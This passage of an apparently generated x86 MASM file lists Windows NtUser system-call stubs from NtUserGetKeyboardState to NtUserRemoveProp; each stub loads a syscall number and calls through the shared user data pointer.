NtUserGetKeyboardLayoutName ENDP ; ULONG __stdcall NtUserGetKeyboardState( ULONG arg_01 ); NtUserGetKeyboardState PROC STDCALL arg_01:DWORD mov eax , 4530 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetKeyboardState ENDP ; ULONG __stdcall NtUserGetKeyNameText( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetKeyNameText PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4531 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetKeyNameText ENDP ; ULONG __stdcall NtUserGetKeyState( ULONG arg_01 ); NtUserGetKeyState PROC STDCALL arg_01:DWORD mov eax , 4532 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetKeyState ENDP ; ULONG __stdcall NtUserGetListBoxInfo( ULONG arg_01 ); NtUserGetListBoxInfo PROC STDCALL arg_01:DWORD mov eax , 4533 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetListBoxInfo ENDP ; ULONG __stdcall NtUserGetMenuBarInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetMenuBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4534 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetMenuBarInfo ENDP ; ULONG __stdcall NtUserGetMenuIndex( ULONG arg_01 , ULONG arg_02 ); NtUserGetMenuIndex PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4535 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetMenuIndex ENDP ; ULONG __stdcall NtUserGetMenuItemRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetMenuItemRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4536 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetMenuItemRect ENDP ; ULONG __stdcall NtUserGetMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4537 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetMessage ENDP ; ULONG __stdcall NtUserGetMouseMovePointsEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserGetMouseMovePointsEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4538 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserGetMouseMovePointsEx ENDP ; ULONG __stdcall NtUserGetObjectInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserGetObjectInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4539 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserGetObjectInformation ENDP ; ULONG __stdcall NtUserGetOpenClipboardWindow( ); NtUserGetOpenClipboardWindow PROC STDCALL mov eax , 4540 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetOpenClipboardWindow ENDP ; ULONG __stdcall NtUserGetPriorityClipboardFormat( ULONG arg_01 , ULONG arg_02 ); NtUserGetPriorityClipboardFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4541 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetPriorityClipboardFormat ENDP ; ULONG __stdcall NtUserGetProcessWindowStation( ); NtUserGetProcessWindowStation PROC STDCALL mov eax , 4542 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetProcessWindowStation ENDP ; ULONG __stdcall NtUserGetRawInputBuffer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetRawInputBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4543 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetRawInputBuffer ENDP ; ULONG __stdcall NtUserGetRawInputData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserGetRawInputData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4544 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserGetRawInputData ENDP ; ULONG __stdcall NtUserGetRawInputDeviceInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetRawInputDeviceInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4545 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetRawInputDeviceInfo ENDP ; ULONG __stdcall NtUserGetRawInputDeviceList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetRawInputDeviceList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4546 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetRawInputDeviceList ENDP ; ULONG __stdcall NtUserGetRegisteredRawInputDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetRegisteredRawInputDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4547 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetRegisteredRawInputDevices ENDP ; ULONG __stdcall NtUserGetScrollBarInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetScrollBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4548 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetScrollBarInfo ENDP ; ULONG __stdcall NtUserGetSystemMenu( ULONG arg_01 , ULONG arg_02 ); NtUserGetSystemMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4549 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetSystemMenu ENDP ; ULONG __stdcall NtUserGetThreadDesktop( ULONG arg_01 ); NtUserGetThreadDesktop PROC STDCALL arg_01:DWORD mov eax , 4550 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetThreadDesktop ENDP ; ULONG __stdcall NtUserGetThreadState( ULONG arg_01 ); NtUserGetThreadState PROC STDCALL arg_01:DWORD mov eax , 4551 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetThreadState ENDP ; ULONG __stdcall NtUserGetTitleBarInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetTitleBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4552 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetTitleBarInfo ENDP ; ULONG __stdcall NtUserGetTopLevelWindow( ULONG arg_01 ); NtUserGetTopLevelWindow PROC STDCALL arg_01:DWORD mov eax , 4553 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetTopLevelWindow ENDP ; ULONG __stdcall NtUserGetUpdatedClipboardFormats( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetUpdatedClipboardFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4554 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetUpdatedClipboardFormats ENDP ; ULONG __stdcall NtUserGetUpdateRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetUpdateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4555 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetUpdateRect ENDP ; ULONG __stdcall NtUserGetUpdateRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetUpdateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4556 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetUpdateRgn ENDP ; ULONG __stdcall NtUserGetWindowCompositionInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowCompositionInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4557 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowCompositionInfo ENDP ; ULONG __stdcall NtUserGetWindowCompositionAttribute( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowCompositionAttribute PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4558 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowCompositionAttribute ENDP ; ULONG __stdcall NtUserGetWindowDC( ULONG arg_01 ); NtUserGetWindowDC PROC STDCALL arg_01:DWORD mov eax , 4559 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetWindowDC ENDP ; ULONG __stdcall NtUserGetWindowDisplayAffinity( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowDisplayAffinity PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4560 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowDisplayAffinity ENDP ; ULONG __stdcall NtUserGetWindowPlacement( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowPlacement PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4561 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowPlacement ENDP ; ULONG __stdcall NtUserGetWOWClass( ULONG arg_01 , ULONG arg_02 ); NtUserGetWOWClass PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4562 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWOWClass ENDP ; ULONG __stdcall NtUserGhostWindowFromHungWindow( ULONG arg_01 ); NtUserGhostWindowFromHungWindow PROC STDCALL arg_01:DWORD mov eax , 4563 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGhostWindowFromHungWindow ENDP ; ULONG __stdcall NtUserHardErrorControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserHardErrorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4564 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserHardErrorControl ENDP ; ULONG __stdcall NtUserHideCaret( ULONG arg_01 ); NtUserHideCaret PROC STDCALL arg_01:DWORD mov eax , 4565 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserHideCaret ENDP ; ULONG __stdcall NtUserHiliteMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserHiliteMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4566 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserHiliteMenuItem ENDP ; ULONG __stdcall NtUserHungWindowFromGhostWindow( ULONG arg_01 ); NtUserHungWindowFromGhostWindow PROC STDCALL arg_01:DWORD mov eax , 4567 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserHungWindowFromGhostWindow ENDP ; ULONG __stdcall NtUserImpersonateDdeClientWindow( ULONG arg_01 , ULONG arg_02 ); NtUserImpersonateDdeClientWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4568 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserImpersonateDdeClientWindow ENDP ; ULONG __stdcall NtUserInitialize( ULONG arg_01 , ULONG arg_02 ); NtUserInitialize PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4569 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserInitialize ENDP ; ULONG __stdcall NtUserInitializeClientPfnArrays( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserInitializeClientPfnArrays PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4570 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserInitializeClientPfnArrays ENDP ; ULONG __stdcall NtUserInitTask( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 ); NtUserInitTask PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD mov eax , 4571 mov edx , 7FFE0300h call dword ptr [edx] ret 48 NtUserInitTask ENDP ; ULONG __stdcall NtUserInternalGetWindowText( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserInternalGetWindowText PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4572 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserInternalGetWindowText ENDP ; ULONG __stdcall NtUserInternalGetWindowIcon( ULONG arg_01 , ULONG arg_02 ); NtUserInternalGetWindowIcon PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4573 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserInternalGetWindowIcon ENDP ; ULONG __stdcall NtUserInvalidateRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserInvalidateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4574 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserInvalidateRect ENDP ; ULONG __stdcall NtUserInvalidateRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserInvalidateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4575 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserInvalidateRgn ENDP ; ULONG __stdcall NtUserIsClipboardFormatAvailable( ULONG arg_01 ); NtUserIsClipboardFormatAvailable PROC STDCALL arg_01:DWORD mov eax , 4576 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserIsClipboardFormatAvailable ENDP ; ULONG __stdcall NtUserIsTopLevelWindow( ULONG arg_01 ); NtUserIsTopLevelWindow PROC STDCALL arg_01:DWORD mov eax , 4577 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserIsTopLevelWindow ENDP ; ULONG __stdcall NtUserKillTimer( ULONG arg_01 , ULONG arg_02 ); NtUserKillTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4578 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserKillTimer ENDP ; ULONG __stdcall NtUserLoadKeyboardLayoutEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserLoadKeyboardLayoutEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4579 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserLoadKeyboardLayoutEx ENDP ; ULONG __stdcall NtUserLockWindowStation( ULONG arg_01 ); NtUserLockWindowStation PROC STDCALL arg_01:DWORD mov eax , 4580 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserLockWindowStation ENDP ; ULONG __stdcall NtUserLockWindowUpdate( ULONG arg_01 ); NtUserLockWindowUpdate PROC STDCALL arg_01:DWORD mov eax , 4581 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserLockWindowUpdate ENDP ; ULONG __stdcall NtUserLockWorkStation( ); NtUserLockWorkStation PROC STDCALL mov eax , 4582 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserLockWorkStation ENDP ; ULONG __stdcall NtUserLogicalToPhysicalPoint( ULONG arg_01 , ULONG arg_02 ); NtUserLogicalToPhysicalPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4583 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserLogicalToPhysicalPoint ENDP ; ULONG __stdcall NtUserMapVirtualKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserMapVirtualKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4584 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserMapVirtualKeyEx ENDP ; ULONG __stdcall NtUserMenuItemFromPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserMenuItemFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4585 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserMenuItemFromPoint ENDP ; ULONG __stdcall NtUserMessageCall( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserMessageCall PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4586 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserMessageCall ENDP ; ULONG __stdcall NtUserMinMaximize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserMinMaximize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4587 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserMinMaximize ENDP ; ULONG __stdcall NtUserMNDragLeave( ); NtUserMNDragLeave PROC STDCALL mov eax , 4588 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserMNDragLeave ENDP ; ULONG __stdcall NtUserMNDragOver( ULONG arg_01 , ULONG arg_02 ); NtUserMNDragOver PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4589 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserMNDragOver ENDP ; ULONG __stdcall NtUserModifyUserStartupInfoFlags( ULONG arg_01 , ULONG arg_02 ); NtUserModifyUserStartupInfoFlags PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4590 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserModifyUserStartupInfoFlags ENDP ; ULONG __stdcall NtUserMoveWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserMoveWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4591 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserMoveWindow ENDP ; ULONG __stdcall NtUserNotifyIMEStatus( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserNotifyIMEStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4592 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserNotifyIMEStatus ENDP ; ULONG __stdcall NtUserNotifyProcessCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserNotifyProcessCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4593 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserNotifyProcessCreate ENDP ; ULONG __stdcall NtUserNotifyWinEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserNotifyWinEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4594 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserNotifyWinEvent ENDP ; ULONG __stdcall NtUserOpenClipboard( ULONG arg_01 , ULONG arg_02 ); NtUserOpenClipboard PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4595 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserOpenClipboard ENDP ; ULONG __stdcall NtUserOpenDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserOpenDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4596 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserOpenDesktop ENDP ; ULONG __stdcall NtUserOpenInputDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserOpenInputDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4597 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserOpenInputDesktop ENDP ; ULONG __stdcall NtUserOpenThreadDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserOpenThreadDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4598 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserOpenThreadDesktop ENDP ; ULONG __stdcall NtUserOpenWindowStation( ULONG arg_01 , ULONG arg_02 ); NtUserOpenWindowStation PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4599 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserOpenWindowStation ENDP ; ULONG __stdcall NtUserPaintDesktop( ULONG arg_01 ); NtUserPaintDesktop PROC STDCALL arg_01:DWORD mov eax , 4600 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserPaintDesktop ENDP ; ULONG __stdcall NtUserPaintMonitor( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserPaintMonitor PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4601 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserPaintMonitor ENDP ; ULONG __stdcall NtUserPeekMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserPeekMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4602 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserPeekMessage ENDP ; ULONG __stdcall NtUserPhysicalToLogicalPoint( ULONG arg_01 , ULONG arg_02 ); NtUserPhysicalToLogicalPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4603 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserPhysicalToLogicalPoint ENDP ; ULONG __stdcall NtUserPostMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserPostMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4604 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserPostMessage ENDP ; ULONG __stdcall NtUserPostThreadMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserPostThreadMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4605 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserPostThreadMessage ENDP ; ULONG __stdcall NtUserPrintWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserPrintWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4606 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserPrintWindow ENDP ; ULONG __stdcall NtUserProcessConnect( ULONG arg_01 , ULONG arg_02 ); NtUserProcessConnect PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4607 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserProcessConnect ENDP ; ULONG __stdcall NtUserQueryInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserQueryInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4608 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserQueryInformationThread ENDP ; ULONG __stdcall NtUserQueryInputContext( ULONG arg_01 , ULONG arg_02 ); NtUserQueryInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4609 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserQueryInputContext ENDP ; ULONG __stdcall NtUserQuerySendMessage( ULONG arg_01 ); NtUserQuerySendMessage PROC STDCALL arg_01:DWORD mov eax , 4610 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserQuerySendMessage ENDP ; ULONG __stdcall NtUserQueryWindow( ULONG arg_01 , ULONG arg_02 ); NtUserQueryWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4611 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserQueryWindow ENDP ; ULONG __stdcall NtUserRealChildWindowFromPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserRealChildWindowFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4612 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserRealChildWindowFromPoint ENDP ; ULONG __stdcall NtUserRealInternalGetMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserRealInternalGetMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4613 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserRealInternalGetMessage ENDP ; ULONG __stdcall NtUserRealWaitMessageEx( ULONG arg_01 , ULONG arg_02 ); NtUserRealWaitMessageEx PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4614 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserRealWaitMessageEx ENDP ; ULONG __stdcall NtUserRedrawWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserRedrawWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4615 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserRedrawWindow ENDP ; ULONG __stdcall NtUserRegisterClassExWOW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserRegisterClassExWOW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4616 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserRegisterClassExWOW ENDP ; ULONG __stdcall NtUserRegisterErrorReportingDialog( ULONG arg_01 , ULONG arg_02 ); NtUserRegisterErrorReportingDialog PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4617 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserRegisterErrorReportingDialog ENDP ; ULONG __stdcall NtUserRegisterUserApiHook( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserRegisterUserApiHook PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4618 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserRegisterUserApiHook ENDP ; ULONG __stdcall NtUserRegisterHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserRegisterHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4619 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserRegisterHotKey ENDP ; ULONG __stdcall NtUserRegisterRawInputDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserRegisterRawInputDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4620 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserRegisterRawInputDevices ENDP ; ULONG __stdcall NtUserRegisterServicesProcess( ULONG arg_01 ); NtUserRegisterServicesProcess PROC STDCALL arg_01:DWORD mov eax , 4621 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserRegisterServicesProcess ENDP ; ULONG __stdcall NtUserRegisterTasklist( ULONG arg_01 ); NtUserRegisterTasklist PROC STDCALL arg_01:DWORD mov eax , 4622 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserRegisterTasklist ENDP ; ULONG __stdcall NtUserRegisterWindowMessage( ULONG arg_01 ); NtUserRegisterWindowMessage PROC STDCALL arg_01:DWORD mov eax , 4623 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserRegisterWindowMessage ENDP ; ULONG __stdcall NtUserRemoveClipboardFormatListener( ULONG arg_01 ); NtUserRemoveClipboardFormatListener PROC STDCALL arg_01:DWORD mov eax , 4624 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserRemoveClipboardFormatListener ENDP ; ULONG __stdcall NtUserRemoveMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserRemoveMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4625 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserRemoveMenu ENDP ; ULONG __stdcall NtUserRemoveProp( ULONG arg_01 , ULONG arg_02 ); NtUserRemoveProp PROC 